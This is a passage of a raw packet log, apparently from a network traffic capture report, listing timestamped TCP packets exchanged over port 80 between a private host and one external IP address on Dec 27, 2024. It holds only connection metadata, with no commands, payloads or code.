Dec 27, 2024 15:04:09.665318966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.665400028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.666027069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.666071892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.666138887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.666173935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.666282892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.667295933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.667392015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.667432070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.667471886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.667509079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.668348074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.668510914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.668550968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.669274092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.669342041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.669384003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.669919014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.669979095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.670018911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.670649052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.670743942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.670841932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.671500921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.671597958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.671648979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.672357082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.693231106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.693269014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.693310976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.693624020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.693645954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.693660021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.694217920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.694272041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.694374084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.695153952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.695226908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.695266008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.695957899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.696002960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.696079016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.696849108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.696896076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.696918011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.697724104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.697772026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.697818041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.747916937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.747936964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.747981071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.786293030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.786431074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.786549091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.786645889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.786693096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.787386894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.787481070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.787801027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.787848949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.787898064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.787928104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.787934065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.788815022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.788899899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.788942099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.789684057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.789732933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.789794922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.790548086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.790898085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.792315006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.792378902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.792414904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.792697906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.792805910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.792818069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.792856932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.793694973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.793744087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.793850899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.794296026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.794394016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.794433117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.795214891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.795265913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.795336008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.796042919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.796154976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.796233892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.796919107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.796967030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.797024965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.797817945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.797873020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.817378998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.817467928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.817590952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.817795038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.817858934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.817895889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.818391085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.818470001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.818506002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.818900108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.818979025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.819036007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.819783926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.819838047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.819880009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.820306063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.820405960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.820880890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.821275949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.821408987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.822140932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.822180986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.822320938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.822395086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.822928905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.874566078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.910655022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.910706043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.910763025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.910989046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.911612988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.911726952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.911788940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.911988020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.912033081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.912245035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.912377119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.912416935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.913003922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.913049936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.913089037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.913578987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.913676977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.913842916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.914416075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.916819096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.916848898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.916959047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.917171001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.917222977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.917315006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.917407036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.917450905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.917834997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.917995930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.918107986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.918950081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.919118881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.919616938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.919663906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.919749022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.919790030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.920630932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.920941114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.921854973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.921891928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.921958923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.922002077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.922619104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.922708988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.923216105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.923259020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.941709042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.941804886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.941885948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.942140102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.942233086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.942276001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.943000078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.943043947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.943223953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.943387985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.944087982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.944130898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.944190979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.944231033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.944993019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.945095062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.945842028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.945878029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.945956945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.945992947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.946765900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.946881056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.947645903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.947700024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:09.947721958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:09.947766066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.035001993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.035099030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.035192966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.035435915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.035917997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.036027908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.036077023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.036356926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.036398888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.036569118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.036617041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.037337065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.037375927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.037456036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.037491083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.037524939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.038321018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.040992975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.041043997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.041043997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.041084051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.041328907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.041538954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.041629076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.041671991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.042378902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.042438030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.042464018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.043050051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.043152094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.043207884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.043932915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.043987036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.044015884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.044799089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.044940948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.044991016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.045717001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.045794964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.045802116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.046585083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.046696901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.046753883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.047450066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.047499895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.075150013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.075186968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.075263023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.075401068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.075535059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.075656891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.075705051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.076452017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.076512098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.076579094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.077343941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.077438116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.077502012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.078212023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.078360081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.078421116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.079083920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.079129934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.079168081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.079977036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.080060959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.080116987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.080843925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.080897093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.080935955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.124583006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.159212112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.159337997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.159444094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.159579992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.160347939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.160393953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.160413027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.160692930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.160859108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.160871983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.161035061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.161689043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.161827087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.161901951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.162026882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.162638903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.164246082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.165255070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.165431023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.165623903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.165676117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.165956020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.166002989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.166021109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.166660070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.166830063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.166892052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.167541981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.167615891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.167620897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.168203115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.168314934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.168366909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.169076920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.169178963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.169238091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.169974089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.170027018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.170089006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.170850039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.170928001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.170989990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.194705963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.194767952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.194864035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.194998026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.195045948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.195079088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.195792913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.196271896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.196331978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.196399927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.196441889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.196796894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.196918964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.197027922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.197069883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.197813034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.197860956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.197932005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.198653936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.198703051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.199546099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.199683905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.200097084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.200146914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.200162888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.200202942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.200922966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.200983047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.201770067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.201828003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.285506964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.285530090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.285604000 CET	49743	80	192.168.2.4	185.215.113.16
